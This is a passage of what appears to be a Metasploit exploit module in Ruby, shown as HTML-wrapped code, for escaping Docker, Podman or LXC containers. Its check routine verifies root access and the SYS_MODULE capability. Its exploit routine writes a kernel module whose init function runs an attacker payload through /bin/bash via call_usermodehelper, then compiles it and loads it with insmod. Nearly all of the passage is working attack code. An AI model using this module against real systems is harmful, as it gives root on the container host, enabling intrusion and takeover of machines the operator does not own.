/> ])<br /> end<br /><br /> # Check we have all the prerequisites to perform the escape<br /> def check<br /> # Checking database if host has already been disclosed as a container<br /> container_name =<br /> if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host<br /> framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host<br /> else<br /> get_container_type<br /> end<br /><br /> unless %w[docker podman lxc].include?(container_name.downcase)<br /> return Exploit::CheckCode::Safe('Host does not appear to be container of any kind')<br /> end<br /><br /> # is root user<br /> unless is_root?<br /> return Exploit::CheckCode::Safe('Exploit requires root inside container')<br /> end<br /><br /> # Checking if the SYS_MODULE capability is enabled<br /> capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16)<br /> unless capability_bitmask & 0x0000000000010000 > 0<br /> return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled')<br /> end<br /><br /> CheckCode::Vulnerable('Inside Docker container and target appears vulnerable.')<br /> end<br /><br /> def exploit<br /> krelease = kernel_release<br /> # Check if kernel header folders exist<br /> kernel_headers_path = [<br /> "/lib/modules/#{krelease}/build",<br /> "/usr/src/kernels/#{krelease}"<br /> ].find { |path| directory?(path) }<br /> unless kernel_headers_path<br /> fail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.')<br /> end<br /> vprint_status("Kernel headers found at: #{kernel_headers_path}")<br /><br /> # Check that our required binaries are installed<br /> unless command_exists?('insmod')<br /> fail_with(Failure::NoTarget, 'insmod does not appear to be installed.')<br /> end<br /> unless command_exists?('make')<br /> fail_with(Failure::NoTarget, 'make does not appear to be installed.')<br /> end<br /><br /> # Check that container directory is writable<br /> if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir'])<br /> fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable")<br /> end<br /><br /> # Checking that kernel module isn't already running<br /> if kernel_modules.include?(datastore['KernelModuleName'])<br /> fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.")<br /> end<br /><br /> # Creating source files<br /> print_status('Creating files...')<br /> mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir'])<br /><br /> write_kernel_source(datastore['KernelModuleName'], payload.encoded)<br /> write_makefile(datastore['KernelModuleName'])<br /> register_files_for_cleanup([<br /> "#{datastore['KernelModuleName']}.c",<br /> 'Makefile'<br /> ].map { |filename| File.join(datastore['WritableContainerDir'], filename) })<br /><br /> # Making exploit<br /> print_status('Compiling the kernel module...')<br /> results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'")<br /> vprint_status('Make results')<br /> vprint_line(results)<br /> register_files_for_cleanup([<br /> 'Module.symvers',<br /> 'modules.order',<br /> "#{datastore['KernelModuleName']}.mod",<br /> "#{datastore['KernelModuleName']}.mod.c",<br /> "#{datastore['KernelModuleName']}.mod.o",<br /> "#{datastore['KernelModuleName']}.o"<br /> ].map { |filename| File.join(datastore['WritableContainerDir'], filename) })<br /><br /> # Checking if kernel file exists<br /> unless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko")<br /> fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.')<br /> end<br /> print_good('Kernel module compiled successfully')<br /><br /> # Loading module and running exploit<br /> print_status('Loading kernel module...')<br /> results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'")<br /><br /> unless results.blank?<br /> results = results.strip<br /> vprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : ''))<br /> vprint_line(results) if results.count("\n") > 0<br /> end<br /> end<br /><br /> def cleanup<br /> # Attempt to remove kernel module<br /> if kernel_modules.include?(datastore['KernelModuleName'])<br /> vprint_status('Cleaning kernel module')<br /> cmd_exec("rmmod #{datastore['KernelModuleName']}")<br /> end<br /><br /> # Check that kernel module was removed<br /> if kernel_modules.include?(datastore['KernelModuleName'])<br /> print_warning('Payload was not a oneshot and cannot be removed until session is ended')<br /> print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually")<br /> end<br /> super<br /> end<br /><br /> def write_kernel_source(filename, payload_content)<br /> file_content = <<~SOURCE<br /> #include<linux/init.h><br /> #include<linux/module.h><br /> #include<linux/kmod.h><br /><br /> MODULE_LICENSE("GPL");<br /><br /> static int start_shell(void){<br /> #{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')}<br /> char *argv[] = {"/bin/bash", "-c", command, NULL};<br /> static char *env[] = {<br /> "HOME=/",<br /> "TERM=linux",<br /> "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };<br /> return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);<br /> }<br /><br /> static int init_mod(void){<br /> return start_shell();<br /> }<br /> static void exit_mod(void){<br /><br /> return;<br /> }<br /> module_init(init_mod);<br /> module_exit(exit_mod);<br /> SOURCE<br /> filename = "#{filename}.c" unless filename.end_with?('.c')<br /> write_file(File.join(datastore['WritableContainerDir'], filename), file_content)<br /> end<br /><br /> def write_makefile(filename)<br /> file_contents = <<~SOURCE<br /> obj-m +=#{filename}.o<br /><br /> all:<br /> \tmake -C $(KERNEL_DIR) M=$(PWD) modules<br /> clean:<br /> \tmake -C $(KERNEL_DIR) M=$(PWD) clean<br /> SOURCE<br /> write_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents)<br /> end<br />end<br /></code></pre>